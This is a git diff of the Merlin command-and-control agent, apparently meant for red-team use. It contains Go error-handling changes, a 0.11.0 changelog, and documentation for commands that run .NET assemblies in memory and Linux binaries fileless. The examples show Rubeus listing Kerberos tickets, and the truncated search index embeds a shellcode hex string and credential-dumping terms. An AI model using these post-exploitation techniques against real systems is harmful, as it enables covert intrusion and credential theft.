diff --git a/cmd/merlinagent/main.go b/cmd/merlinagent/main.go index 8a0a677f..5b0ab8dc 100644 --- a/cmd/merlinagent/main.go +++ b/cmd/merlinagent/main.go @@ -112,15 +112,11 @@ func main() { if *verbose { color.Red(errClient.Error()) } + os.Exit(1) } // Start the agent - err = a.Run() - if err != nil { - if *verbose { - color.Red(err.Error()) - } - } + a.Run() } // usage prints command line options diff --git a/cmd/merlinagentdll/main.go b/cmd/merlinagentdll/main.go index 4ca15ade..1fc43cac 100644 --- a/cmd/merlinagentdll/main.go +++ b/cmd/merlinagentdll/main.go @@ -79,10 +79,7 @@ func run(URL string) { os.Exit(1) } - errRun := a.Run() - if errRun != nil { - os.Exit(1) - } + a.Run() } // EXPORTED FUNCTIONS diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 03be2979..5cedd263 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -4,6 +4,23 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). +## 0.11.0 - 2021-04-17 + +### Added + +- Added `nslookup` command to execute a DNS query using native Go +- Added [go-clr](https://github.com/Ne0nd0g/go-clr) for in process .NET Common Language Runtime (CLR) + - `load-assembly` to load a .NET assembly into memory + - `invoke-assembly` to execute a previously loaded .NET assembly + - `list-assemblies` to list previously loaded .NET assemblies +- Added `memfd` command to run Linux executables in-memory as an anonymous file +- Upgraded go-quic package to support Go v1.16 +- Added `SetWaitTime` and `SetMaxRetry` function to agents package to be called from the API package + +### Fixed + +- Fixed issue when sleep time was increased and all subsequent JWTs were expired by updating sleep time on server first + ## 0.10.0 - 2021-02-13 ### Added diff --git a/docs/_build/doctrees/agent/javascript.doctree b/docs/_build/doctrees/agent/javascript.doctree new file mode 100644 index 00000000..4476f5d3 Binary files /dev/null and b/docs/_build/doctrees/agent/javascript.doctree differ diff --git a/docs/_build/doctrees/environment.pickle b/docs/_build/doctrees/environment.pickle index 80f465cc..873399d9 100644 Binary files a/docs/_build/doctrees/environment.pickle and b/docs/_build/doctrees/environment.pickle differ diff --git a/docs/_build/doctrees/server/menu/agents.doctree b/docs/_build/doctrees/server/menu/agents.doctree index 73ddb261..26edd4dc 100644 Binary files a/docs/_build/doctrees/server/menu/agents.doctree and b/docs/_build/doctrees/server/menu/agents.doctree differ diff --git a/docs/_build/html/_sources/server/menu/agents.rst.txt b/docs/_build/html/_sources/server/menu/agents.rst.txt index b29fa9e8..f52f2ba4 100644 --- a/docs/_build/html/_sources/server/menu/agents.rst.txt +++ b/docs/_build/html/_sources/server/menu/agents.rst.txt @@ -31,13 +31,24 @@ help | | RtlCreateUserThread info | Display all information about | | the agent | + invoke-assembly | Invoke, or execute, a .NET | , + | loaded into the agent's | + | process | jobs | Display all active jobs for | | the agent | kill | Instruct the agent to die or | | quit | + load-assembly | Load a .NET assembly into the | [] + list-assemblies | List the .NET assemblies that | + | are loaded into the agent's | + | process | ls | List directory contents | ls /etc OR ls C:\\Users OR ls | | C:/Users main | Return to the main menu | + memfd | Execute Linux file in memory | [] + nslookup | DNS query on host or ip | nslookup 8.8.8.8 pwd | Display the current working | pwd | directory | run | Execute a program directly, | run ping -c 3 8.8.8.8 @@ -367,6 +378,40 @@ The ``info`` command is used to get information about a specific agent. | Agent Failed Logins | 0 | +---------------------------+-----------------------------------------------+ +invoke-assembly +--------------- + +The ``invoke-assembly`` command will execute a .NET assembly that was previously loaded into the agent with the +load-assembly_ command. The first argument is the name of the assembly and all the remaining arguments are passed to +the assembly for execution. Use the list-assemblies_ command return a list of loaded assemblies. +The execute-assembly_ command is different because it uses injection to run the assembly in a child process. +This command runs the assembly in the current process without injection. + +.. note:: + Only CLR v4 is currently supported which can be used to execute both v3.5 and v4 .NET assemblies + +.. code-block:: text + + Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» invoke-assembly Rubeus.exe klist + [-] Created job GlPHKaRtmg for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [-] Results job GlPHKaRtmg for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [+] + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.5.0 + + + Action: List Kerberos Tickets (Current User) + + [*] Current LUID : 0x37913 + jobs ---- @@ -393,6 +438,51 @@ The ``kill`` control type instructs the agent to exit or die. There is no respon Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» kill Merlin» [-]Created job goaRNhTVTT for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 +list-assemblies +--------------- + +The ``list-assemblies`` command lists .NET assemblies that have been loaded into the agent's process with the load-assembly_ command. + +.. code-block:: text + + Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» list-assemblies + [-] Created job NIflRstGrR for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + [-] Results job NIflRstGrR for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [+] Loaded Assemblies: + seatbelt.exe + rubeus.exe + sharpdpapi.exe + sharpup.exe + Hagrid + +load-assembly +------------- + +The ``load-assembly`` command loads a .NET assembly into the agent's process. Once the assembly is loaded, it can be executed +multiple times with the invoke-assembly_ command. The .NET assembly is only sent across the wire one time. +An option third argument can be provided to reference the assembly as any other name when executed with the +invoke-assembly_ command. + +.. note:: + Only CLR v4 is currently supported which can be used to execute both v3.5 and v4 .NET assemblies + +.. code-block:: text + + Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» load-assembly /root/Rubeus.exe + [-] Created job iQOkWgGqkJ for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + [-] Results job iQOkWgGqkJ for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [+] successfully loaded rubeus.exe into the default AppDomain + +.. code-block:: text + + Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» load-assembly /root/Rubeus.exe Hagrid + [-] Created job YrPdQkcuTG for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + [-] Results job YrPdQkcuTG for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [+] successfully loaded Hagrid into the default AppDomain + ls -- @@ -442,6 +532,73 @@ The ``ls`` command is used to list a directory's contents using native Go functi -rw-rw-rw- 2018-09-15 00:31:34 174 desktop.ini drwxrwxrwx 2018-09-15 00:42:33 0 windows nt +main +---- + +The ``main`` command is used to leave the Agent menu and return back to the :doc:`main`. It is an alias for the ``back`` command. + +.. code-block:: text + + Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» main + Merlin» + +memfd +----- + +The ``memfd`` command loads a Linux executable file into memory (RAM) as an anonymous file using the +`memfd_create `__ API call, executes it, and returns the +results. +The file is created with an empty string as its name. +Less the fact that RAM is a file on Linux, the executable is not written to disk. +View the `Detecting Linux memfd_create() Fileless Malware with Command Line Forensics +`__ +for detection guidance. + +.. note:: + This command will not run on Windows agents + +.. code-block:: text + + Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» memfd /tmp/hello.py + [-] Created job ZyeWhgfThk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [-] Results job ZyeWhgfThk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [+] Hello from a Python script + + +nslookup +-------- + +The ``nslookup`` command takes a space separated list of IP addresses or hostnames and performs a DNS query using the +host's resolver and returns the results. + +.. code-block:: text + + Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» nslookup 8.8.8.8 9.9.9.9 github.com google.com + [-] Created job fQilcQFmlk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [-] Results job fQilcQFmlk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [+] Query: 8.8.8.8, Result: dns.google. + Query: 9.9.9.9, Result: dns9.quad9.net. + Query: github.com, Result: 192.30.255.113 + Query: google.com, Result: 142.250.73.238 2607:f8b0:4004:82a::200e + +pwd +--- + +The ``pwd`` command uses native Go to get and return the current working directory. + +.. code-block:: text + + Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» pwd + [-]Created job JweUayTyTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [-] Results job JweUayTyTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 + + [+] Current working directory: C:\Users\Joe + quit ---- @@ -811,28 +968,6 @@ To correctly issue the command either escape the ``\`` or enclose the commands i Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell dir C:\\Windows\\System32 -main ----- - -The ``main`` command is used to leave the Agent menu and return back to the :doc:`main`. It is an alias for the ``back`` command. - -.. code-block:: text - - Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» main - Merlin» - -pwd ---- - -The ``pwd`` command uses native Go to get and return the current working directory. - -.. code-block:: text - - Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» pwd - [-]Created job JweUayTyTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2019-02-27T01:14:17Z - Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job JweUayTyTv at 2019-02-27T01:14:28Z - Current working directory: C:\Users\Joe - status ------ diff --git a/docs/_build/html/searchindex.js b/docs/_build/html/searchindex.js index dcf0056b..1db65da5 100644 --- a/docs/_build/html/searchindex.js +++ b/docs/_build/html/searchindex.js @@ -1 +1 @@ -Search.setIndex({docnames:["agent/cli","agent/custom","agent/dll","agent/javascript","agent/powershell","index","misc/blogs","misc/contrib","misc/logging","modules/build","quickStart/agent","quickStart/faq","quickStart/server","server/menu/agents","server/menu/listeners","server/menu/main","server/menu/modules","server/x509"],envversion:{"sphinx.domains.c":1,"sphinx.domains.changeset":1,"sphinx.domains.cpp":1,"sphinx.domains.javascript":1,"sphinx.domains.math":2,"sphinx.domains.python":1,"sphinx.domains.rst":1,"sphinx.domains.std":1,"sphinx.ext.todo":1,sphinx:55},filenames:["agent/cli.rst","agent/custom.rst","agent/dll.rst","agent/javascript.rst","agent/powershell.rst","index.rst","misc/blogs.rst","misc/contrib.rst","misc/logging.rst","modules/build.rst","quickStart/agent.rst","quickStart/faq.rst","quickStart/server.rst","server/menu/agents.rst","server/menu/listeners.rst","server/menu/main.rst","server/menu/modules.rst","server/x509.rst"],objects:{},objnames:{},objtypes:{},terms:{"000a":14,"00h":13,"00z":13,"01d4":14,"01t00":13,"02s":13,"06m":13,"07z":13,"0d4e020645af":15,"0db5969e":14,"0ee4da7d266d":8,"0x01":13,"0x02":13,"0x03":13,"0x07":13,"0x0f":13,"0x10":13,"0x17":13,"0x18":13,"0x1c":13,"0x1f":13,"0x20":13,"0x24":13,"0x28":13,"0x2c":13,"0x30":13,"0x32":13,"0x34":13,"0x3c":13,"0x45":13,"0x48":13,"0x50":13,"0x51":13,"0x52":13,"0x53":13,"0x54":13,"0x55":13,"0x56":13,"0x57":13,"0x58":13,"0x59":13,"0x5a":13,"0x5b":13,"0x5c":13,"0x5d":13,"0x5e":13,"0x5f":13,"0x60":13,"0x61":13,"0x63":13,"0x65":13,"0x68":13,"0x69":13,"0x6a":13,"0x6c":13,"0x6e":13,"0x74":13,"0x75":13,"0x76":13,"0x7e":13,"0x81":13,"0x83":13,"0x8b":13,"0x8d":13,"0x99":13,"0xad":13,"0xae":13,"0xb7":13,"0xc3":13,"0xc4":13,"0xd7":13,"0xec":13,"0xef":13,"0xf7":13,"0xfe":13,"0xff":13,"10s":1,"11z":13,"1227sec":[14,15],"12t13":[],"13c8bd9b":8,"13s":8,"147m":13,"14ad":13,"15s":13,"170f":15,"171m":13,"17z":13,"18t11":13,"18t14":15,"1a37":13,"1f6a":[14,15],"209342db":8,"20b337ba":14,"20merlin":3,"20t14":13,"21a0fc5f":13,"23m":13,"25c61141":15,"26m":13,"26z":13,"27t01":13,"28z":13,"2e3025e8":14,"2fa5":14,"30s":[0,8,13],"30z":13,"31ba":13,"32534a9191f0":13,"34z":13,"368m":13,"38z":13,"3b1fbded":15,"413f":15,"41cd":[],"41d4":8,"42fd":8,"43b7":15,"445b":15,"44d5":16,"44eb":14,"44z":13,"4620db5d2c4a":15,"462f":14,"47fb":13,"49e8":8,"4c43":13,"4c90":15,"4c9a":15,"4d90":[11,13,15,16],"4e3f":15,"4edf":14,"4f6d":14,"4f85":16,"4f8a":15,"4fa9":8,"4fe1":14,"505152535657556a605a6863616c6354594883ec2865488b32488b7618488b761048ad488b30488b7e3003573c8b5c17288b741f204801fe8b541f240fb72c178d5202ad813c0757696e4575ef8b741f1c4801fe8b34ae4801f799ffd74883c4305d5f5e5b5a5958c3":13,"50x":13,"51a7ad14509fd614c7bb3a50c4982b8c":13,"54a20389":15,"54z":15,"55b6b014609d":[],"57eab1feb0e1":13,"57z":13,"58c7cff8903d":8,"59z":13,"5d248e34068c":14,"60m":13,"632db67c":14,"64bit":2,"662a2b05":8,"6998f86a":15,"6a1723b180583deff56b41a9d2a283244837b611":8,"6af7d4a1":15,"6e5e8a3b":8,"6e8e":14,"758f7855e6ba":15,"766m":13,"7c1a":14,"7pd32":[13,15],"7zip":12,"81f6":15,"82574l":8,"82a4":15,"83d0":8,"86e0c0217786":[11,13,15,16],"86f5":16,"883f":8,"8aea":[],"8ec8":14,"8f02":8,"94b2":14,"9d1d":14,"9ebd":14,"9f8e":15,"abstract":9,"byte":[0,13],"case":[0,9,10,13,14,15],"default":[0,1,4,10,11,13,14,15,16,17],"export":[9,16],"function":[3,4,7,9,11,15],"import":[0,2,3,4,7,13],"long":[0,13,15],"new":[0,1,3,4,7,8,9,10,13,14,15,17],"null":9,"public":17,"return":[3,9,10,13,14,16],"short":9,"super":15,"switch":[9,15,16],"true":[8,9,10,13,16],"try":3,"var":[3,10,13],"while":[0,1,9,11],AND:[],Are:[13,14,15],EXE:13,For:[0,3,9,13],HAS:[],NOT:[0,9],Not:13,One:[2,4,10,13],THE:[],TLS:[0,3,13,14,15],TVs:3,The:[0,1,2,3,4,6,7,9,10,11,12,13,14,15,16,17],There:[10,13],These:[1,3,7],Use:[1,9,10,13,14,15,16],Used:2,Using:[2,3,6,9,10,13],WILL:[0,13],WITH:13,With:10,______:13,_http:10,_maximum_:13,_override_:3,a0d1:[14,15],a0f686ce529:15,a107:15,a241:[11,13,15,16],a71d:[14,15],a82b:[],a935:15,a98e6175:13,aa020d5c:14,abeb:15,abf0:13,abl:[0,9,13,16],about:[0,6,9,13,14,15,16],abov:[7,10,13],absolut:13,ac57:13,accept:7,access:[5,9,10,14,15],accident:[13,14,15],account:9,accountexpir:8,acm:[3,13,14,15],acmehttp:14,acmewidget:3,across:9,action:[9,11],activ:[7,8,13,15],adapt:0,add:[6,7],added:13,adding:7,addit:[0,2,9,10,13,14,15,16],addition:[3,4,10,11,13],address:[2,3,4,8,10,14,15],adminstatu:8,adspath:8,advapi32:[],aea90272aed5:14,affect:7,after:[0,1,3,7,9,10,13,14,15],again:[3,13],against:[7,9,13,16],agent:[0,4,6,9,12,14],agent_log:8,agentcontrol:13,agentinfo:8,alert:[3,13,17],alia:[13,14,15,16],align:7,all:[1,3,4,6,7,9,11,12,13,14,15,16],alloc:13,allow:[0,1,4,9,10,13,16,17],along:[0,13,15,16],alreadi:[10,13],also:[0,3,5,7,13],altern:[0,2,3,13],amd64:[1,8,13,15],amount:[0,1,13],amour:[13,16],amsi:13,analysi:0,android:1,ani:[0,1,2,3,4,7,9,10,13,14,15,16],anoth:[10,13],anti:[10,13],anyth:[0,10,13,14,15],apc:13,api:13,apk:1,appdata:1,appear:3,append:[0,1],appendc:3,appendchild:3,applewebkit:0,appli:14,applic:[1,3,5,6,7,9,10,13],approach:[5,6],approv:7,approxim:13,apt:12,arch:9,architectur:[1,8,9,13],archiv:2,arg:13,argument:[1,2,9,10,15],aris:10,arm64:1,arm:1,arrai:[9,16],arsen:6,art:15,articl:[0,13],ascii:15,ask:11,assign:13,associ:[7,9,13],assum:3,attack:[5,6,10],attempt:[0,5,13],author:[5,9,13,16,17],automat:[0,3,9,13,17],avail:[3,13,14,15,16],averag:13,awai:17,azureedg:1,b0bd6df3615b:8,b31b:13,b41e:13,b524:13,b69c:14,b79ee7d892a5:14,back:[2,3,4,7,10],backdoor:6,background:10,backslash:13,backup:13,badpasswordtim:8,badpwdcount:8,base64:[4,9,10,13],base64str:[4,10],base:[0,4,8,13],bash:[9,11,12,13],basi:13,basic:7,batch:13,bcd4:15,be04b935d252:8,beacon:13,becam:13,becaus:[2,11,13],becom:13,been:[9,13],befor:[0,1,10,13],behavior:[0,1],being:[7,9],below:[1,10],benefici:13,benjamin:[9,13,16],best:9,beta:[6,13,15,17],better:[3,13],between:[0,1,13],bf09:14,bfdb:8,bialek:[4,9,16],biggest:11,bin:[1,2,4,9,10,11,12,13],binari:[1,9,10,13,15,16],binject:[],black:6,blank:16,blog:[3,7,13,16],bob:10,bool:9,both:[0,9,13],bounti:6,box:3,brace:9,bracket:14,branch:7,brd:[14,15],broadcast:[14,15],brows:3,browser:[0,3,6],bsvjzfvbrz:13,bug:10,build:[2,8,11,13,15],buildmod:2,built:[3,13,15,16],bundl:1,bye:13,bypass:[0,13],c1090dbc:[11,13,15,16],c22c435f:15,c2endpoint:1,c3a3378d:[],c62ac059:15,cach:13,cae112600870:16,calc:13,call:[2,3,4,10,13],can:[0,1,2,3,4,7,9,10,11,12,13,14,15,16,17],cancel:13,candid:3,cap:7,capabl:[3,13],car:3,care:10,cat:13,catalog:[2,6],caus:[0,1,3,10,13,15],ccwrmdlifq:13,cdebf156967:14,cdn:0,ce7c:8,certain:13,certif:[3,8,9,14,16],cfb9:13,chang:[3,4,7,10,11,13,14,15],charact:13,check:[2,3,7,8,13,15],checkin:[0,1,8,13],choic:13,choos:13,chosen:2,chrome:0,cipher:[0,13],circumv:[3,10,13],clean:16,clear:[0,1,15,16],cli:13,click:[3,10],client:[0,3,13],clone:[9,10],close:15,clr:13,cmd:[1,2,4,8,13],cmdpayload:13,cmdresult:7,cobalt:13,cobb:13,cobbr:13,code:[1,2,3,4,7,9,10,11,12,13],codepag:8,coffe:13,collect:13,com:[0,1,2,4,6,7,8,9,10,12,13,14,16],combin:[5,11],come:[3,10,13],comma:13,command:[1,3,6,7,8,11,12,13,14,15,16,17],commandlin:[1,13],common:[9,13],commonli:13,commun:[0,1,5,13],comparison:6,compil:[2,7,10,12,13],complet:[9,13,14,15,16],compon:[1,13],compromis:[7,10],comput:[3,9,16],computernam:[9,16],comspec:13,concept:[2,4],configur:[0,1,8,9,10,11,13,14,16],confirm:[13,14,15],conjunct:9,connect:[0,1,3,5,8,10,11],connectorpres:8,consid:17,consist:9,consol:[1,3,13],contact:[11,13],contain:[4,9,13],content:[3,4,10,13],context:[11,13,14,15,16],continu:[10,15],contributor:11,control:[3,6,8,10,13],convers:13,convert:[0,4,10,13],cool:15,copi:[1,9,10],copyright:10,core:[10,13],correctli:13,could:[3,9,13],count:9,countrycod:8,coupl:[10,13],cover:10,cradel:10,crash:13,creat:[0,1,3,4,7,8,13,14,16],createel:3,createprocess:13,createremotethreadex:13,credenti:[9,13,16],credit:[9,16],cross:6,crt:[8,14],csharp:13,curli:9,current:[2,3,4,7,9,10,13,14,15,16],currentus:13,custom:[2,9,10,11,16],cwdwwifpqr:8,cycl:[14,15],d5c054b63ac3:15,dade:[8,13,15],darwin:[1,15],data:[0,1,2,3,4,7,8,9,10,12,13,14,17],dataagentsc1090dbc:13,date:[0,1,8,13],dc8e:8,dead:[13,15],deal:10,debug:[1,7,9,16],decid:3,defend:[9,13],defens:0,defin:9,degre:6,delai:[13,15],delet:15,deliv:[3,10],deliveri:3,delpi:[9,13,16],demo:14,denot:13,depend:[0,13],depreci:13,describ:9,descript:[1,8,9,13,14,15,16],design:7,desktop:13,detail:[1,2,10,11,14,15],detect:[0,5,6,10,13],determin:14,dev001:15,dev:[7,10],develop:[1,3,9],devic:[3,13],dgrwxrwxr:13,dgtrwxrwxrwx:13,dialect:10,die:[11,13],died:13,differ:2,difficulti:0,dinosn:6,dir:13,direct:9,directli:[3,9,13],directori:[1,2,3,8,9,10,11,12,13,17],disabl:9,disableav:9,disablepayloadhandl:10,disappear:[1,11],disk:[9,10,16],displai:[7,13,14],displaynam:8,distinguishednam:8,distribut:[1,10,14,17],dll:[1,6,9,13],dllhost:13,dllinstal:2,dllregisterserv:2,dllunregisterserv:2,dmafzdpusm:13,doc:1,document:[0,3,7,10,13],doe:[0,1,3,9,10,13],doesn:[9,10,11],doing:0,domain:[0,1],don:[3,10],done:[1,7,9,10],donut:13,dot:4,dotnet:13,doubl:[9,10,13,14,15],down:[7,8],download:[0,9,10,12],downloadstr:[4,8,9,10],downsid:10,draft:0,dragonfli:1,drive:13,driver:8,driverinform:8,drwxr:13,drwxrwxr:13,drwxrwxrwx:13,dscorepropagationdata:8,dtbnkifnu:13,dtrwxrwxrwx:13,due:[3,7,8],dump:[9,16],dumpcert:[9,16],dumpcr:[9,16],durat:[],dure:[0,2,5,7,10],dwxtiadjyz:13,dynam:[3,10,13,14,15],e07eaf4bf2c2:14,e46d6449382:3,e54d:15,e7c659d126f9:14,each:13,eas:17,easi:9,easili:15,ebf1b1d2:16,echo_request:9,edd8be260c25:15,edit:10,effect:11,egress:0,either:[9,13],elev:9,ellipticcurv:[0,13],ellipticcurvepointformat:[0,13],els:[3,9,13,14,15],empir:15,empti:9,enabl:[0,7,13,16],enclos:13,encod:[4,9,10,13],encrypt:[0,1],end:13,english:6,enjkiilxxh:13,enough:9,enrol:13,ens32:[14,15],ensur:[2,7,11,15],enter:[7,14,15],entir:13,entri:[7,9,10],entrypoint:10,environ:[1,3,11,13],epoch:[0,1],epochconvert:0,equip:[14,15],error:[3,7,10,13],escap:3,est:13,establish:[0,13,15],etc:13,ether:[14,15],ethernet0:8,evad:[0,13],evalu:5,even:[9,16],eventu:[11,15],ever:[9,16],everi:[0,1,9,11,13,16],everyon:7,everyth:[9,13],everytim:0,evtawdqbwa:13,exact:13,exactli:[9,16],exampl:[0,1,2,3,4,8,9,10,11,13,16],excel:7,except:3,exchang:[0,6],exclud:13,exe:[9,11,13],exec:[9,13],execut:[0,1,3,4,7,9,11,15,16],exfiltr:9,exist:[3,10],exit:[0,9,16],expect:14,exploit:[3,5,6,10,13],explor:[3,13],expos:9,extend:9,extens:[0,13],extern:13,extra:10,extract:12,extrem:10,f12:3,f2f7:[11,13,15,16],f54b:15,f591494bf4c0:15,f6826564:14,f7c4:15,facilit:[0,2,4,17],fail:[0,1,2,3,4,11,13,15],failedcheckin:8,fair:10,fals:[3,9,16],favor:[],fd43:13,fe80:[13,14,15],featur:[0,7,13,15],few:10,ffff:16,ffffffff:16,ffffffffffff:16,file:[1,2,3,4,7,8,9,10,11,12,13],file_nam:10,filepath:13,fill:15,filter:0,find:10,fine:13,fingerprint:[0,13],firefox:3,first:[0,1,5,11],five:9,fix:0,flag:[1,10,11,12,13],flexibl:3,fly:3,folder:13,follow:[0,1,2,4,10,12,13,14,15,16,17],forc:0,forceaslr:10,foreach:[4,10],foreground:3,forev:[14,15],forget:[10,11],fork:7,form:3,format:13,found:[0,1,3,7,9,10,13,14],fq_codel:[14,15],framework:10,free:7,freebsd:1,frequent:[11,13],fresh:16,from:[0,1,3,4,7,8,9,10,11,12,13,14,15,16,17],front:[0,1],full:[0,1,3,9,12],futur:[2,4,9],game:3,gbp:8,gcc:[2,10],gecko:0,gener:[0,13,17],gentilkiwi:[9,13,16],german:6,get:[1,3,4,8,9,10,13,14,15],getextendedcommand:9,getsystem:13,ggqpfqhtrc:13,gigabit:8,git:[7,9,10,13],github:[1,3,4,7,9,10,12,14,16],githubusercont:[4,8,9],give:[3,10],given:[14,15],givennam:8,global:[4,10,14,15],gmail:13,gmkxtcvwhh:8,goarch:1,goarnhtvtt:13,godoc:1,goe:[0,6],going:9,golang:[1,5],golint:7,gomobil:1,goo:1,good:[0,3,10],googl:9,gopath:[7,11],grab:[3,7],graeber:4,grammat:7,granular:13,great:7,green:7,grep:13,group:[14,15],gscript:6,guarante:13,gui:1,guid:[1,6,13,15],guidelin:7,gwfqhcskji:13,h2c:[0,1,14],h35rk21:13,hack:14,hacker:6,hackthebox:6,handl:[2,7],hard:[1,2,3,4,11],hardcod:[0,1,3,10,13],has:[0,2,3,7,9,13,16],hash:[0,1,13],hat:6,have:[0,1,2,3,9,10,13,14,15,16],hbyxrfarbg:13,head:3,header:[0,1],help:[7,9,10,16],here:[0,1,3,7,13],hex:13,hidden:3,hide:3,higher:[9,16],highest:13,highli:13,hild:3,his:7,hit:[3,14,15],hktl_merlinag:6,home:[13,14],host:[1,2,3,7,9,10,11,12,13,14,15],hostnam:[8,13],hour:13,how:[0,1],howev:[0,3,9,13,17],html:[1,3],http2:14,http3:[0,1,14],http:[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17],iOS:1,ideal:9,identifi:[0,13,15,16],idl:0,idletim:13,ietf:0,iex:[4,8,9,10],ignor:[9,10],immedi:14,impacket:10,imperson:13,implement:[2,3,13],includ:[0,3,7,11,12,13,14,15,16],increas:0,index:[1,3],indic:[14,15],individu:9,inet6:[14,15],inet:[14,15],info:6,inform:[0,7,9,10,13,14,15,16],ini:13,init:1,initi:[0,1,3,8,13],inject:13,inner:13,input:[0,8,13],insecur:[14,17],insert:2,insid:[3,13],instal:[1,2,9,10,12,13,16],instanc:[10,13],instancetyp:8,instanti:13,instead:1,instruct:[1,13,16],intel:8,intend:[0,5],intent:1,intention:[8,13],interact:[10,11,13,16],interest:7,interfac:[13,14,15],interfacedescript:8,interfaceindex:8,interfaceoperationalstatu:8,intern:13,internet:[3,5,13],internetexplor:3,interpret:[9,13],interv:13,intro:6,introduc:[6,13],introductori:3,invok:[6,9,13,16],iompernygt:13,ippsec:6,ireycchrck:16,issu:[2,13,14],item:[9,16],its:[0,3,9,13,14,16],itself:[3,4,13,14,15,16],ixvxgyikh:13,ja3:1,ja3er:[0,13],java:13,javascript:[6,9],jitter:13,job:[8,10,16],joe:[4,9,13,14,15,16],john:[],joqnjonrek:13,josephbialek:[4,9,16],json:9,just:[9,13],jweuaytytv:13,kali:[10,15],keep:[3,7,13],kei:[0,1,3,6,8,9,14,17],khtml:0,kill:8,killdat:1,kit:13,knowledg:[0,17],known:[0,5,13],knoxvil:6,label:13,lack:9,lang:9,languag:9,last:13,lastlogoff:8,lastlogon:8,lastlogontimestamp:8,later:17,latest:12,launch:[10,11,12],ldap:8,ldflag:1,learn:5,leav:[10,13,16],left:7,less:17,let:3,letoux:13,level:[9,14],leverag:[0,4,9,10,13,14,15,16],lib:13,librari:1,like:[0,2,9,10,13,16],limit:15,line:[1,9,10,11,12,16],link:[3,14,15],linkspe:8,linux:[1,2,9,11,12,13,15,17],list:[1,9,13,16],listen:[8,10],listener_nam:14,littl:13,live:7,lntdll:2,load:[3,4,9,10,16],local:[1,4,13],local_fil:13,localgroup:13,localus:13,locat:[0,1,3,9,10,13,17],lock:13,log:13,login:13,logon32_logon_new_credenti:[],logon_typ:[],logoncount:8,longer:3,look:[9,13],loopback:0,loss:13,lost:13,lower_up:[14,15],lowercas:9,lowest:9,lrwxrwxrwx:13,lsass:[9,16],lwinmm:2,lws2_32:2,lyyqdxckti:13,mac:15,macaddress:8,machin:10,maco:[1,12,13],made:[3,14],magic:2,mai:[0,9],mail:13,main:[2,3,4,10],major:[1,12],make:[0,1,2,3,9,10,13],makefil:1,maketoken:13,malici:[3,13],malwar:13,manag:2,mansfield:7,manual:13,mark:[9,13,16],master:[4,6,8,9],match:13,matt:4,mattifest:4,matur:7,max:13,maximum:[0,1,13],maxretri:[1,8],md5:[0,1],mean:[0,13],measur:0,media:13,mediaconnectionst:8,mediatyp:8,medium:3,memori:[4,9,10,13,14,16],menu:6,merg:7,merlin:[0,1,3,6,7,8,9,13,14,15,16,17],merlinag:[1,2,4,10,11],merlinagentdl:[2,10],merlinserv:12,merlinserverlog:8,messag:[0,1,3,8,13,17],metasploit:2,method:[0,2,10,13],metric:13,microsoft:[10,13],might:[0,13],milli:13,millisecond:13,mime:3,mimikatz:[9,13,16],mingw:2,minim:3,minimum:13,minut:[0,10,13],mip:1,mips64:1,mips64l:1,mipsl:1,misc:13,miscellan:9,mobil:3,mode:13,modif:2,modifi:[10,13,14],modul:[2,6,10,13,15],more:[10,13],most:[3,13,15],move:[1,9,10,14,15],mozilla:0,msd:8,msf:[10,15],mtu:[14,15],multicast:[14,15],multimedia:13,multipl:[9,11,13,16],multitud:3,murphi:8,must:[0,1,3,9,10,11,13,16],myendpoint:1,mymodulenam:9,mysmartlogon:13,name:[2,7,8,10,13,14,16],nativ:13,nativecmd:13,navig:3,ndi:8,ndk:1,ne0nd0g:[1,3,4,7,9,10,12,14,16],ne0ndog:9,need:[1,3,9,10,13],negoti:0,net:[1,4,8,9,10,13],netadapt:8,netbsd:1,netus:8,network:[0,8],neutrino:13,never:7,newer:3,newli:[3,10],nextron:6,nikon:15,non:[9,16],none:13,nonreleas:[13,15],nop:9,noprefixrout:[14,15],normal:4,notat:[1,9],note:[0,1,2,3,4,9,10,13,14,15,16],notic:13,nov:16,now:[2,10],npmyqwasod:13,npqgrntaqx:13,nuclear:13,number:[0,10,13,15],nxnhjvrusp:13,obfusc:9,object:[4,8,9,10],objectcategori:8,objectclass:8,objectguid:8,objectsid:8,obstacl:3,occur:13,oeobxfbup:13,off:3,offic:6,often:10,omerlin:12,onc:11,one:[0,10,13,14,15,16],onli:[0,1,2,3,4,5,7,9,11,13,14,15,16],opaqu:[0,6],open:[3,14,15